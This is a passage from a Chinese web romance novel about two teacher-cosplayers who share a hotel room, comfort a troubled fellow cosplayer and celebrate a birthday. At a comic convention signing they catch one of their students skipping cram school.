简璃也去浴室了，哗啦啦的听见了水声。 陶与晴坐在外面，有点无心擦头发。 好尴尬。 好想逃。 他承认他怂了。 【扶光】：和他一个房间怎么办。 【向爱卿】：一张床？ 【向爱卿】：他完了。 【向爱卿】：他敢：） 【扶光】：不是，他主动睡地上了。 【向爱卿】：也不行。 【扶光】：？ 【向爱卿】：证明他心里有鬼。 陶与晴决定维护一下简璃。 【扶光】：毕竟旅游高峰期订不到两个房间嘛…… 【向爱卿】：他订两个房间，不是没品就是不行。 那你到底要人家咋！ 【扶光】：……怎么就变成讨伐大会了！ 【向爱卿】：不好意思代入角色了，你继续。 【扶光】：好尴尬啊怎么办，他现在在洗澡。 【向爱卿】：这样，你按我说的做，就不会因为害羞尴尬了。 【向爱卿】：首先，你站到浴室门口去。 陶与晴站到了浴室门口。 【向爱卿】：敲门。 陶与晴敲门了。 简璃水声一停：“怎么了？” 【向爱卿】：让他出来。 “……你出来一下。” 向思远到底要干嘛。 简璃微微打开门，露出一点肌肉线条和打湿的前额。 【向爱卿】：好了，你先看见了，血赚。？ 他有病吧！？ 陶与晴手机都没拿稳，要掉下去的时候被简璃给伸手接住。 他身上的水渍已经擦干了，头发吹了吹，还有一点水，衣服穿了一半，还没来及的扣扣子，接住陶与晴的手机还给他。 “怎么了。”简璃又问了一遍。 “我那个什么……我……”谁知道怎么解释啊。 而且他的眼睛不知道往哪看了。 “我就……”陶与晴接住手机，说：“我、那个……” 眼瞅着陶与晴已经红温了，简璃单手彻底拉开浴室的门，靠在门框上。 他甚至在笑：“我不介意啊，扶光老师想看就看。” 他不是！！ 他没有！！ 陶与晴更红温了。 今晚黑名单里多了个冤种兄弟。 “……所以是向思远故意整你。” “对啊，”陶与晴坐在地毯上，简璃坐在床上给他擦头发，“我和他聊天呢，说起你在洗澡，他故意的……” “你还真老实啊，他让你干嘛你就干嘛了。” “我压根不知道这是个恶作剧好不好……” 他甚至本来没想让简璃给他擦头发，但是对方看见他头发还是湿的，就把他摁住了。 “还以为什么呢……”简璃擦着头发嘟嘟囔囔。 他都要施展身经百战的撩人技术了。 ……陶老师不会觉得他是变态吧？ 晚上，陶与晴裹着空调被，动作浅浅的翻了个身。 扭头去看地上的简璃。 他睡姿挺端正的，可能是家教的原因，一动也不动。 虽然垫了毯子，但是第二天起来会不会腰痛啊，而且空调对着吹，要是吹感冒了怎么办。 陶与晴犹豫了一下，还是有点心疼。 “……简璃，你睡了吗。” 陶与晴声音不大，但是对方还是颤了颤眼睛，听见陶与晴的声音本能的回应：“……怎么了。” “要不你还是上来吧，地上凉。” “不用，”简璃翻了个身：“快睡吧，晚安。” 陶与晴劝说无果，盯着简璃侧过去的背影看了一会，倒回床上。 ……他是很不想和自己一张床吗。 之前明明挺自然的。 ……都怪向思远。 简璃不会觉得自己是个变态吧…… 简璃侧过身去，这次却没入眠。 ……忍住啊。 他怕晚上的扶光太诱人，自己要干出点什么禽/兽勾当怎么办。 两个人都没睡好，第二天起来眼底有点乌青。 也不知道是都心虚还是什么，都没提起昨晚的事情。 和余兮约在一家有包间的咖啡馆，简璃和陶与晴路上有点堵，到的时候晚了两分钟。 陶与晴第一次见到余兮线下真人，这张脸是挺好看的，是很精致的男生，但是和线上的感觉……很不一样。 他这个人都更阴沉。 和简璃性格的反差不同，陶与晴觉得余兮的这种阴沉更压抑一点。 “你们来了，”余兮说：“坐吧。” 陶与晴和简璃对视一眼，就知道他也看出来了。 而且余兮和几年前简璃印象里的样子，应该是不太一样的。 “之前那件事，”余兮主动开口，“是我做的不好，给你们造成困扰了，抱歉。” 这一点倒是和线上的态度很一致。 陶与晴说：“其实你就算不转发，那个人也会找上来的……但为什么呢。” 明眼人都知道，那绝对不是手滑。 余兮也因为这件事掉了一波粉，现在他成了个有黑点的coser，很多漫展都不太敢请他。 因为都觉得经过那件事，请他就是得罪离玉和离玉的粉丝。 这没必要吧。 “……也没什么为什么，”余兮低头说：“对不起，但我的确不知道他会去漫展伤人。” 简璃不解：“你真的只是约我出来道个歉？” 余兮的头发看起来有段时间没剪过了，他一低头就能挡住他的脸，“这就是我想说的，我很抱歉。” “是出了什么事，”陶与晴觉得不对劲，作为一名老师，有些开导别人的职业病：“都是一个圈子的，你说出来我们看看能不能……” 对方捏紧了咖啡杯。 “……我们根本不是一类人。” 陶与晴：“……为什么这么说？” “你们才是一个圈子的，”余兮抬头露出双眼，红红的，脸上没什么血色，不知道是哪句话触及了他的情绪，语气有点激动：“我们根本就不一样。” “我根本就不应该在这个圈子里。” 他越说越偏离主题，像是压抑了太久了管不了这么多。 可是…… 陶与晴本意是想安慰安慰他，说：“‘余兮’不也是百万粉的大v吗……这一点已经胜过很多人了。” 何必和自己过不去呢。 “根本不一样——”他打开了话茬，像扔垃圾一样把话丢出来：“我三年前就不应该再回来了，拼命跑了这么久，到最后甚至发现分不清是为了热爱还是为了钱。” “三年前我人气起来了，我的父母刷到我的一条视频以后，冲进我家砸掉了我的整个手办柜。” “你们的表情很惊讶，一定很难解世界上怎么会有这种父母，你们没见过喜欢的角色残肢断臂，没见过被烧掉的粉丝无料，”余兮死死握着咖啡杯，能看见杯子里的水波在抖：“……我说我现在能靠这个赚钱，我爸反手给了我一巴掌，说赚的再多都是不三不四的东西。” “他说幼稚、上不了台面、不伦不类。” “于是我找了工作，但三年后我挣扎着回来了，终于有大展的主办邀请我，档期合适的那天我居然要去给我爸签出院手续？”余兮撑住自己的头，摇了摇，说：“……太讽刺了，实在是太讽刺了。” 他甚至有些语无伦次：“……他们提到了你，我也不知道我当时怎么想的，看见那条梦男的微博，莫名觉得他和我好像——都是疯子……脑子一热就转了，我做的不对……我怎么和你们说了这些，我不知道……我到底怎么变成这样的。” 简璃皱紧眉头。 陶与晴觉得这个故事太压抑，心里也难受起来：“余兮，我们……” 他想说我们能解。 却忽然一顿。 谁能解他呢？包括现在的他自己。 “我爸住院我应该哭才对，”余兮似乎什么都听不进去，只是一股脑的在说：“他们都说我得哭啊，我为什么哭不出来……但是他烧掉粉丝礼物的时候我哭了……我不孝——我怎么会转发那条微博，你们能不能骂我两句让我好受点。” 眼看他要在自己给自己的枷锁里越陷越深，已经快被压垮了，陶与晴站起来。 “余兮，你先冷静点。” 没等他有动作，简璃开口说：“我见过。” 包间里寂静里，陶与晴和余兮同时看他。 “我见过被砸碎的玻璃，被剪掉的c服，还有……被扔进垃圾桶的粉丝无料，”简璃语气对比起来平静的多，说：“我的父母也不开明，我甚至不能带我爱的人去见他们。” 陶与晴噤了声，心疼了。 “所以，他们到现在也不知道我还是离玉——那又怎么样，我做什么都要管他们，那我还活不活了，逢年过节回去一次不错了，大家过的都挺好。” ……心、心疼暂停。 陶与晴无奈的想，话有点糙了啊离玉老师，什么活不活的—— 余兮此刻皱紧眉头，好似听进去了：“你……” “生活是自己选择的，你说你分不清爱好还是为钱，我却觉得这个不冲突没必要纠结，有能力就赚，没能力就图个乐，只要不打肿脸充胖子就挺好，”简璃说话有些尖锐，但是道是这个道：“人也是为了自己活的，关关难过关关过，别自己绑架自己。” “但我已经来不及了，我的状态太差，根本做不了嘉宾和博主……” 陶与晴看余兮真的听进去了，接着说：“虽然过去很压抑……但是总能走出来开始新的生活——就算是六十岁的人也能继续喜欢看‘动画片’，你才多大啊，来得及的，不适合再做台前，也可以换种生活方式呀。” 陶与晴的话非常温柔，但是简璃就不一定了。 简璃淡淡道：“与其内耗自己、不如责怪他人——当然你转发那个事情确实不对，是该道歉，所以这顿你请吧。” 陶与晴戳了戳他：“喂……” 后一句虽然是没毛病，但前一句是什么奇奇怪怪的世界观。 而且不要在开导的途中突然要对方请客啊。 简璃只给了他一个无辜的眼神。 “……还真没想到离玉会说这些话。”余兮感觉简璃和离玉像是两个人。 陶与晴默默说：“习惯习惯就好。” 余兮沉默片刻又说：“但你们都没被什么人讨厌过吧，看见那些亲戚的眼神我就觉得我活着……” “谁说的，”简璃非常坦然，演都不演了，说：“我的学生每天都巴不得看不见我，我不也活着，我甚至还想给他们的暑假作业加点料。” “……？” 陶与晴接话解释道：“啊他是老师……在学校是比较、凶。” “……” 余兮还真是没见过这样的离玉。 好毒一张嘴，甚至连自己都骂。 但是崩溃的情绪被以一种莫名其妙的方式疏导了是怎么回事。 他以为离玉光鲜又有魅力，毕竟台前是温柔又风趣。 原来离玉私底下性格这么……？ 其实陶与晴也是挺意外的，因为除了批评学生的时候，他有一段时间没见过这样的简璃了。 不知道什么时候开始，简璃，不管是以简老师的身份还是以离玉的身份，在他面前，嗯—— ……还挺乖的？最多有点恶趣味，喜欢瞎撩。 差点就忘了他的脾气原来是这样的。 余兮：“……所以二位是同事？” 陶与晴和简璃一起说。 “对。” “未必。” 陶与晴：“？” 糟了。 简璃也一愣。 没忍住。 作者有话要说： 腱鞘炎好痛……错别字过段时间再改 第52章 糟糕，输出太快忘刹车了。 陶与晴看他，说：“……未必？” 简璃下意识嘴快道：“除了同事也是朋友和漫展搭档。” “也对，”陶与晴侧过头，说：“嗯嗯……” 吓人一跳啊。 余兮的眼神在两个人当中巡视了一下，觉得自己不要参合这件事，说：“谢谢你们听我说这些，离玉说的对，我请你们吃饭吧。” 之后余兮和简璃又聊了聊，只不过简璃攻击力意外的收敛了点，陶与晴罕见的全程没怎么插嘴。 在他们提到无梦的时候才说了两句。 “……想约无梦？”余兮思索片刻，低声说：“你们之前合作那么多次，约她不难吧，只是她近一年去国外进修了，你不在京都，应该没怎么和她联系过。” 简璃点头：“对，我只知道她好像在国外，但是不知道她回来了没。” 余兮说：“我一个月前在商城里碰见过她，还打过招呼，应该是回来，你问问吧。” 陶与晴：“无梦去国外进修美术吗？” “这我也不太知道，”余兮说：“她给我化妆都是几年前的事情了，你们可以自己问问她。” …… “那我就不送了，”余兮一时也不知道如何称呼他俩的关系，只说：“两位……参展顺利，今天见笑了。” “每个人都有低谷期，你也是，”直到最后分别陶与晴才说：“一切顺利。” 但回去的路上，陶与晴满脑子简璃那句未必。 揣摩他的心思是一大难题。 什么叫未必啊。 “你……”简璃率先开口打破僵局，说：“我刚才说那些，没吓到你吧？” 主要是一提到这种话题，简璃就没收住。 “没有没有，”陶与晴很快说：“……其实我之前只是听你提起只言片语，还挺高兴你能和余兮说这些的……不过加暑假作业什么的，应该是开玩笑的吧？” 简璃看他最后认真的为了这一句，想笑，又憋住了：“是，开玩笑的。” 陶与晴说：“其实同学们还是很喜欢你的，他们也知道你是为他们好。” 虽然自己刚才也差点就替那帮孩子捏把汗了。 “会不会很失望，”简璃忽然问：“‘离玉’是这样的人。” “……为什么会失望，”陶与晴也认真的看着他，说：“你说，我是一万种可能里最好的那一个，怎么知道自己不是呢。” 简璃微微瞪大了眼睛，一脸诧异。 “……真的这样想？不觉得我很偏激，对父母是那个态度。” “不这样想的话，我肯定还在气你瞒着我呢，我这不都原谅你了……”陶与晴说：“而且我觉得那不是偏激，你是这样一步一步走到今天的，这是你独特的锋利。” 像一把磨练出鞘的宝剑，削铁如泥，熠熠生辉。 “而且你对你姐姐和外甥都很好，证明你又不是冷血无情的人，你只是看得清，选择对的人，我喜欢这样的离玉，更喜欢这样的简璃。” 陶与晴说出口忽然又脸一红，说：“……我的意思是，那种单纯的那种，我是说……嗯、反正就是，这样挺好的……挺好的。” 简璃看着陶与晴语无伦次的样子。 ……明明知道是这个人本来就很温柔，说这些话只是安慰自己吧。 他就是一个很好的人，对谁都是这样的。 能在他心里胜过离玉，已经是很好的结果了。 “你啊，”简璃垂头扶额，说：“……总是说些令人误会的话。” “误会什么……” 明明这个人才老让人误会。 简璃抬头看他，伸手拉住他的手腕，几乎要脱口而出，接受自己的死刑：“误会——”你也喜欢我。 “扶光！是扶光吗！” 简璃猛的松开手。 大老远就听见了一声惊叫。 “旁边那个一定是离玉吧，两位老师别走！等等！” 简璃被打断了，一时沉默。 ……这届粉丝不懂看气氛吗，他都快……！ 算了。 不说也好，说了给人造成困扰。 至少让他开开心心没有负担，过个单纯的生日。 陶与晴却从简璃的视线里逃出来，如释重负。 “……合照？可以，可以的……” 被那个人用那种眼神盯着，都不能呼吸了。 总感觉好暧昧，抓心挠肝。 他刚才是想说什么，好想听啊。 …… 虽然这两天陶与晴很想让简璃睡床上…… 但是他不好意思再提，简璃本人也不太愿意上来，所以晚上一直保持着一个距离。 感觉空调开的都低了，有点冷。 19号，陶与晴醒来却没看见简璃，发消息他也没及时回复，这很少见。 而且他居然连眼镜都没带，放在床头柜上，感觉像是走的很急。 ……干什么去了。 陶与晴点开社交平台，已经收到了不少粉丝的祝福，还有各种画手献画，陶与晴一张一张的看过去，被他们的用心给打动。 班级群里邓留萤也在说，今天是陶老师的生日。 【真的吗？陶老师生日快乐！】 【陶老师和我一样是巨蟹座哎，嘿嘿嘿】 【生日快乐！！！陶老师永远年轻帅气！】 【永远不死！】 【啊啊啊陶老师，我要写一张数学卷子作为生日礼物送给您（bushi）】 【向爱卿】：少爷又长一岁，记得回去快递柜查收礼物（墨镜）（墨镜） 【皇额娘】：【红包】 【皇额娘】：和简老师在外头玩注意安全，记得请人家吃点好的，你爸说给你多发点钱（偷笑）（偷笑） 大家的祝福都很暖心…… 所以简璃呢？ 陶与晴摊回床上晃了晃腿，伸手拿过简璃的眼镜。 今天第一时间没有收到来自离玉的祝福，有些别扭。 简老师人呢人呢人呢人呢…… 陶与晴在床上打滚。 简璃开门回来就看见了这一幕。 “陶老师，你在……？” “我那什么，”陶与晴听见开门声就坐起来，把眼镜藏在背后，头发有些乱，脸瞬间红了，说：“……我我，我测试一下这张床的软硬程度。” “……过来。”简璃不逗他了，出声唤人，等人过来以后伸手把他头发了。 陶与晴躲了躲，因为简璃今天没带眼镜，不去看他的脸，问：“你，你干嘛去了。” “以前你不收礼物，今年当然要买个好点的，店有点远还要预约，所以早上我先起来了。” 简璃把袋子塞进他怀里，说：“看看喜不喜欢。” “……！”陶与晴拿东西的手都小心翼翼了，“这个手办不是绝版了吗？为什么……” “六年前你说你喜欢她，我是去店里淘来的，祁城我也找了但是没找到，刚好京都有，运气不错，我看没什么瑕疵。” 是陶与晴六年前提到过的，没买到这个角色的手办非常可惜。 第一次真正接触二次元是初中时候看的一部老番，很喜欢里面的一个女配角，觉得她非常的坚毅勇敢，魅力不输给主角。 那是陶与晴第一个推的角色，虽然后来是有点见一个爱一个……不过对于这个角色，是有特殊情怀在的。 也是因为这样才顺藤摸瓜了解了圈子，加了不少同好群，当时也只是一个没有姓名，默默看大佬们聊天的小透明。 他画的第一幅同人画也是这个角色。 后来才慢慢的…… 简璃怎么连这个都记得，还给自己淘来了，他隐约记得他六年前只是随口提到了一下而已，如果不是因为今天他根本都想不起来有这茬。 他怎么什么都记得。 知不知道这种过生日“啪”的一下变出你推绝版手办的行为，对于二次元来说和求婚没区别啊。 不说他去找这个手办的时间，就算是这价格也得…… 真的有一种原地结婚的冲动。 “想嫁……” 因为太小声，简璃没听见：“什么？” “我说我很喜欢，真的，”陶与晴激动的眼睛都红了，说：“谢谢你记得。” 简璃看他这个样子简直哭笑不得，又有些心疼的捏捏他的脸：“一会还要出去吃饭呢，你这是干嘛……” 一个手办而已，怎么感动的傻里傻气的。 ……知不知道这样子很容易被骗走的。 简璃松手，无比认真：“生日快乐，陶与晴。” “……嗯。” ……为什么，明明他不喜欢被人叫名字。 但是从这个人嘴里出来，浑身都酥酥的。 一点都不反感，甚至想听他多喊两声。 陶与晴不敢和简璃对视。 隐隐约约觉得，能做到这一步，会不会是…… 他知道如果自己和向思远说想要这个手办，对方也会去找。 但是特意提起和无心一说，这两个还是有很大区别的。 何况是六年前，陶与晴自己都快不记得的事情。 “你……”陶与晴试探的问：“……怎么会记得这么早以前的事情啊，我都忘了。” 而送他礼物那个人只是眼神一躲：“我记性好。” ……撒谎。 陶与晴觉得他在撒谎。 这个生日说简单也简单，两个人就是吃了顿饭，吃了蛋糕什么的。 但是陶与晴觉得很满足。 四舍五入，他不就是在和简璃约会吗。 嗯—— 然后就要准备明天漫展的行头了。 假发道具都没问题，但是这c服…… 陶与晴前一天晚上研究了半天硬是没明白该怎么穿，甚至翻来了教程视频，发现还是挺复杂。 一些莫名其妙的挂件和腰带，莫名其妙的版型，还有莫名其妙的带子…… 这些都是什么和什么。 他只好抱着衣服求助的看向简璃。 “不介意的话，”简璃也非常自觉的说：“我来帮你？” “……你们出个角色太不容易了，”陶与晴把衣服递给简璃，说：“光是穿上就已经花光力气了。” “习惯就好，穿多了就会有一种经验，”简璃伸手环过他的腰，把腰带系好，说：“这种经验就是：‘我觉得他应该是这样穿的’。” 陶与晴里面还穿了衣服的，但是被碰到感觉自己的腰有点痒，不自觉抖了一下，问：“真的靠猜啊？” “差不多吧，”简璃手也一顿，稳住声音说：“明天我也可以帮你穿，学不会没关系。” “确实挺复杂的……” 简璃给他穿了一遍，陶与晴才明白，原来这玩意还能这样穿。 原来不是所有的扣子都对称。 也不是所有的带子都要绑在衣服上，也可能是手上和腿上。 管他有没有意义，符合xp就行了。 受这个角色因为剧情里扮演魔尊，所以衣服样式比攻还复杂，整体是黑色的，攻相反，成了一个没人认识的小娄娄，衣服反而比较接近正常的汉服款式。 “无梦那边怎么说，”陶与晴看明白了，就把衣服解下来，问：“她要去YK21吗？” 余兮说遇见过无梦之后，简璃就发消息问了，不过这两天对方都没给准确答复，因为不确定自己的行程。 漫展主办是安排了妆娘的，但是陶与晴想见无梦，所以简璃还是据力争了一下。 好在，今晚她回答了。 【无梦M】：那我到时候过来给你们两个化妆。 【无梦M】：你要说扶光第一次陪你出cp，这个面子，当然不得不给了。 “真的？”陶与晴看了简璃的手机，眼神一亮：“那我岂不是能见到她本人了，太好了。” “那么喜欢她吗。”简璃收回手机，语气有他自己没听出来的不满。 “她的妆感真的很好，而且……”把离玉化的特别帅，比其他人化的都帅，每一次化离玉都特别贴人物。 陶与晴措了一下词，低头说：“而且把你化的很还原。” 要这么说，简璃就不酸了。 他自言自语：“……也是我本来就帅。” 漫展当天，基本没有透露这次离玉要和扶光搭档，一开始陶与晴以为主办方会拿这个事情宣传，看这么多人都不知道这个事情还挺意外的。 甚至是工作人员都表现的惊喜又激动，陶与晴不禁奇怪，这主办方不是让他和离玉出cp吗，这些工作人员难道没有心准备？ 无梦真人也很少露面，她是个长相稍显英气的姑娘，长发，穿衣风格比较随意，不过还是能看出艺术家的气质。 她去国外进修了一年美术，刚回国不久，原本已经不打算接妆了，但是看在离玉和扶光的份上，还是接了这一单。 陶与晴第一次被人在脸上做动作，不敢动不敢动。 “给你们两个化妆也是一种享受啊，”无梦换了支笔，说：“记得多拍点照片。” 简璃已经穿戴完了，看着无梦给陶与晴化妆离得很近，出声：“你仔细的过头了吧。” “扶光老师第一次出cos，要精益求精，”无梦上妆手法非常细腻，而且手非常稳，还能分心和简璃互损两句：“嫌我给你画的糙，要不要卸了重来？” “……” 意外的，陶与晴感觉到简璃被镇住了似的。 实在难得。 主要是得罪谁也不能得罪妆娘啊。 简璃很无奈。 “漂亮，”无梦给陶与晴戴好假发了，非常欣赏的看着自己画完的成品，有一种由内而外的成就感：“……便宜了某些人了。” “我难道不帅吗？”简璃迅速反驳。 “你的脸我都看腻了，”无梦回：“建议扶光别和你做搭档，直接单开一个签售位子。” “我们是cp你还想拆家？什么居心。” 这样一听，无梦好像是知道简璃私底下什么性格。 ……原来还有比自己早的人。 “好了，”无梦最后给他们留了一支口红小样，用来补妆，说：“我要和我老婆逛漫展，你们去吧，有事儿发消息，没事儿别打扰。” “老婆？”陶与晴看过去：“女朋友吗。” “对，她差不多要到了，我去接她去，”无梦打开手机看了一眼时间，说：“你们玩的开心。” 有女朋友啊。 那…… 陶与晴放心多了。 “噢对了，”无梦想起来什么，倒回来，非常刻意说：“我老婆是扶光的粉丝，一会我要陪她排签售，她说她想和扶光贴贴，某位离玉就不用签了。” “啧，”简璃赶人：“管好你老婆！” 不要随便和别人的老婆贴贴！ “原来无梦有女朋友，”陶与晴乖巧坐在椅子上，和他现在的形象形成了一种反差萌，“我还是第一次听说。” “啊，她们谈了挺久的，我认识她的时候她们就已经在一起了，”简璃解释：“她女朋友不太混圈所以不常提起，以前在京都的时候一起吃过饭，是个人挺不错的姑娘，好像……是个硕士吧，在外企上班。” 陶与晴有点羡慕了：“真好啊，谈了这么久的恋爱，还和初恋一样甜。” “……”简璃觉得他话里有话，悄悄的回头看他：“……你想……谈恋爱？” “……没有啊，”陶与晴扭头：“没人和我谈啊。” 他也悄悄去观察简璃的反应，某个人别扭了半天憋出来一句：“……好像该进场了，走吧。” ……哼。 陶与晴觉得简璃在转移话题。 简璃借着cp的由头，牵住陶与晴的手。 他走在前面一点，看似面无表情其实心里飞过去一堆弹幕。 他家陶老师什么意思？ 想谈恋爱？ 谈啊谈啊和他谈啊！ ……也可能是随口一说的。 牵到手了哎。 现在立刻表白会不会被当变态丢出去。 不对，什么叫没人和他谈？ 有啊有啊。 只要陶老师亲亲他，就有了啊有了啊。 …… 陶与晴是第一次穿的这么夸张，平时他都要多简单有多简单。 一出场先是全场寂静，然后才响起来尖叫声，一时间非常局促，也算是符合人设了。 这边工作人员看了一眼名单，惊讶片刻说：“离玉和他的搭档……扶光？” …… “啊啊啊啊玉光！！我圆满了我啊啊啊！” “我去我去我去给我一巴掌这是不是真的！！” “我们玉光可是纯爱！纯爱！！” “这个番！双厨狂喜！今夕是何年啊我何德何能看见玉光给我的远古产品做饭——” 签售台这边不到十分钟就被围了一圈人，陶与晴主要起到一个好看的水印作用，站在离玉旁边。 他甚至不太会摆姿势。 头一位姑娘差点激动的咬到舌头，说：“两位老师，能一起给你们拍照吗？” 陶与晴悄悄对简璃说：“我不会呀……” “没事。”简璃从座位上站起来，伸手一揽，搂着腰把人往怀里带。 陶与晴瞬间脸红，在简璃面前完美的上演不知所措、不知所云和手忙脚乱。 “啊啊啊啊啊！” “我血包呢！！” “多卖爱看啊啊啊啊！” 简璃对着镜头笑了笑，对陶与晴说：“本色出演就好了。” 陶与晴听见这句话，害羞到埋肩，想到今天化了妆，靠了一下又不敢靠了。 就这个若即若离，被前排的姑娘咔咔一顿乱拍。 【（图片）就这个玉光爽！】 【（图片）（图片）离玉：可不能被你们这些同人女看扁啊】 【（图片）我勒个，扶光宝宝你是一个小兔子啊啊啊，这个腰太细了吧害羞了好可爱啊啊啊宝宝呜呜呜宝宝】 【我他妈出生了，就在今天】 【输入玉光自动打出99，玉神稳定发挥，哥你别笑了！抱老婆就这么爽吗！？】 【（图片）我第一次在玉神完美的笑容里看见了暗爽和调戏，我服了，哥，你的分寸感呢？这个时候小手不老实了是吧？】 【埋肩膀我反复细品，可以刻进我的坟头了——扶光耳朵红透了，离玉还在笑，他一直在爽他就没停过（大哭）（大哭）我要在现场一定叫的更大声】 邓留萤暑假还在上万恶的补习班，明知道离玉要去YK21但是没机会去，怨气本就大。 还在话题里刷到了这么多绝美玉光cp图，感觉自己要晕过去了。 为什么！ 邓留萤痛恨补习班。 为什么她不在现场啊啊啊啊爸爸妈妈呜呜呜呜。 这个时候，小群里探出一条消息。 来自“赵遇京和帅哥美女们”。 【小班长你快改群名！】：哥可是传说（墨镜） 【小班长你快改群名！】：【图片】【图片】 邓留萤眼尖的发现了YK的展牌。 【不改你跳吧（群主）】：？ 【无尽花会开】：是YK21吧，能帮我带个游戏周边吗哈哈。 【小班长你快改群名！】：没问题学委，你私我你私我。 【你的萤来了】：你在漫展？你不是和我一样补习班吗！ 【小班长你快改群名！】：我爸妈出差了哈哈哈哈哈！我用私房钱溜出来玩了两天了都。 呵呵。 邓留萤反手转发。 【邓留萤】：【聊天记录】 【邓留萤】：（微笑中透露着无语.jpg） 【邓留萤】：简老师，做好事不留名，开学千万不要放过他：） 第53章 简璃这边已经排着队开始签售了，不少人也找陶与晴要了签名，并且感叹他的字真好看啊，教科书一样的笔锋。 简璃看着陶与晴被主办拉过去拍宣传，不少小姑娘也跟着他过去，非常无奈。 手机屏幕亮了亮，他起初没在意，出于职业习惯，一般工作的时候也是静音或免打扰的。 但是他看见屏幕面前显示的ID是邓留萤。 这丫头放暑假还找自己干嘛。 简璃又签完一个，活动一下手腕，打开手机看了一眼。 好嘛，还真是惊喜。 那么这个光明正大逃补习班的臭小子在哪。 陶与晴就拍了几分钟的镜头，很快回来了，看见简璃视线朝着很远的地方看去，似乎想在人群里找什么。 “怎么了，”陶与晴靠近他问，也习惯了周围小姑娘的惊呼声，“找什么呢。” 简璃只把手机递给陶与晴。 陶与晴意会，划开他的手机，看见了里面的聊天记录。 赵遇京。 不用等开学了。 “他在哪呢，”陶与晴光是想到就有点想笑，说：“你想怎么办？” 简璃低声，语气阴森森的说：“等他走到这个场馆，他就死定了。” 好恐怖。 遇上真魔尊了。 赵遇京刚和吴尽夏私聊完，说是C馆有那个游戏专属的摊位，他正打算过去给吴尽夏拍个照问问她要哪个。 赵同学嫌麻烦不出c，去了几次漫展都是地球人的衣服，这次他偷溜到京都来，跟着朋友一起来漫展。 结果走着走着就走散了，他干脆自己晃悠。 C馆不光有几个官方的摊位，签售位也在这边，而且那边围了好多人啊。 不看热闹还是人吗，赵遇京往那边靠过去，想瞅瞅是谁这么大阵仗和人气。 ……原来是之前听邓留萤提起过的离玉……旁边那个好像陶老师啊？什么鬼？ 因为有个像陶与晴在旁，赵遇京更是越看那个离玉越像简璃。 赵遇京起初觉得蛮有意思的，拍了张照片开玩笑似的发了个帖子。 【补习偷溜，漫展上遇见两个coser好像我老师（图片），怎么办在线等】 其实他随手一发，发完就溜到游戏摊位前了，没想到很快就有人回复。 【玉光！这里也捡到了，颜值真的顶，在博主死亡角度之下也是好看的哈哈哈哈】 【谁教你这么拍照的啊喂！好好的两个大帅哥拍的这么糊？】 【你别说，低头签名的样子真的像批作业（bushi）】 【你老师就没认出来你？居然有空发帖】 赵遇京是看不懂，他甚至觉得自己拍的挺好的啊，有一种朦胧的美感。 回复：【没有啊我看了一眼就走了，他们出的好像还是cp呢！】 【那你愣着干嘛？快嗑啊！】 【真的假的，不太了解这个圈子但是看图好像挺好看的哎，博主能不能近点拍拍，看仔细点？】 赵遇京买到了吴尽夏想买的周边徽章，看着自己底下回复，也没当回事儿。 看就看呗，好看爱看。 嘻嘻！ 他再次挤过去，想多拍两张照片发群里给朋友们也看看。 这次，他还没拿出手机呢，就对上了简璃抬头的视线。 “赵、遇、京——” 赵遇京一愣。 听着这熟悉的字正腔圆的声音，他心中生出一股熟悉的恐惧感。 周围人的目光朝他看过去，又听离玉用似笑非笑的语气唤他。 “真巧啊。” 赵遇京感觉自己的尸体不太舒服了。 那他妈是他的真老师！！ 他转身开溜，被简璃跨出签售台长腿一追三两步就给逮住了。 全场哗然。 “还想跑，暑假逃补习班逃到京都来了？” 赵遇京被捏着耳朵惊恐摇头。 “简老师我错了啊啊啊我真的没认出来你和陶老师——别别别别……我错了我错了。” 不嘻嘻！！ 是哪个缺德的告诉简璃自己逃课的！ 展会周围的人一时间都笑抽了。 “我真是，怎么这么好笑啊哈哈哈哈哈哈他要碎了。” “服了怎么回事啊哈哈哈哈，他逃课被离玉给抓了？” “赵遇京？又是他我看过那个开幕式视频！哈哈哈哈哈原来离玉也是他老师哈哈哈哈。” “不是，离玉真老师啊？完了，我不敢对他发癫了怎么办，现在撤回那些言论还来得及吗？” “玉神骂学生也好温柔哎，扶光还去拦，好像一家三口啊！” 温柔个屁啊，粉丝滤镜太大了吧。 赵遇京震惊的想。 那是因为简璃在粉丝面前不好发作。 赵遇京知道要是在学校里，自己已经死了一百遍了，哪里只是轻轻捏耳朵这个程度。 陶与晴憋着笑拦了拦简璃，说：“算了算了，签售呢饶他一命。” 简璃听见陶与晴拦他，把赵遇京拎到签售台才松手。 陶与晴抱歉的对粉丝说：“不好意思啊大家稍微等一下，我们会和主办方商量一下加点时长，争取都签到。” “啊啊啊没事没事！” “两位继续！我们爱看我们爱看。” “公开处刑我不行了哈哈哈哈哈哈。” “哈哈哈哈哈哈哈哈节目效果拉满。” 简璃质问赵遇京：“暑假作业呢，补习班作业呢。” 赵遇京心虚：“我……我没带。” “包里装的什么，拿来。” 赵遇京逃课的时候非常聪明的带上了作业，为的是怕爸妈突然查岗自己能随时拿出来应付。 好了，这下真派上用场了。 赵遇京坐在签售台边上，抬眼是他的两个老师在微笑握手，和粉丝贴贴互动。 而自己低头，对上了几本作业纸。 服了。 自己没事儿带着作业出来干什么。 快写啊死手。 “两位老师，我我我，我今天没带无料，但是我带了一张高一的卷子，你们需要吗？没事儿这不是我的，我也是老师，这是复印剩下的。” 那个粉丝有意无意的看了一眼旁边补作业的赵遇京。 赵遇京：？ “太好了，”简璃非常和善的接过：“雪中送炭，谢谢你。” 陶与晴扶额低头，憋不住笑了。 “啊啊我也带了题我也带了题。” “我也有我也有！” 不是哥们？？ 一人开头，十人跟团。 粉丝争先恐后往台子上塞作业，陶与晴反复确认不会影响他们才收下的。 赵遇京摊在桌子上，拉陶与晴的手哼哼唧唧对着陶与晴撒娇：“陶老师——救救我——” 陶与晴有点心软：“这……” 简璃一记眼刀：“写你的。” 赵遇京缩了回去。 不嘻嘻不嘻嘻。 彻底老实。 这大概是离玉当嘉宾以来最混乱的一次签售，但是大家都看乐子看的很高兴。 除了赵遇京。 因为后续没有嘉宾接替，离玉扶光也不介意加个班，主办方最后还延长了一个小时，而赵遇京在众目睽睽下额外写了一个小时的作业。 不不不不…… 赵遇京欲哭无泪，在自己那条帖子下发评论。 【谁出的馊主意！嗑不了一点！我被两个老师一起逮了，他们在签售握手，我在他们签售台子上面补作业！！】 这段还被粉丝录下来发出去，几天就几十万的播放量。 【我勒个，漫展遇到真老师是什么体验？我原本只知道扶光是老师，没想到离玉也是啊！录了一小段，画质不太好大家凑合看，真的是笑死我了，这位小同学太倒霉了吧逛个展子被两个老师抓哈哈哈哈后面还被大家的热情作业给淹了】 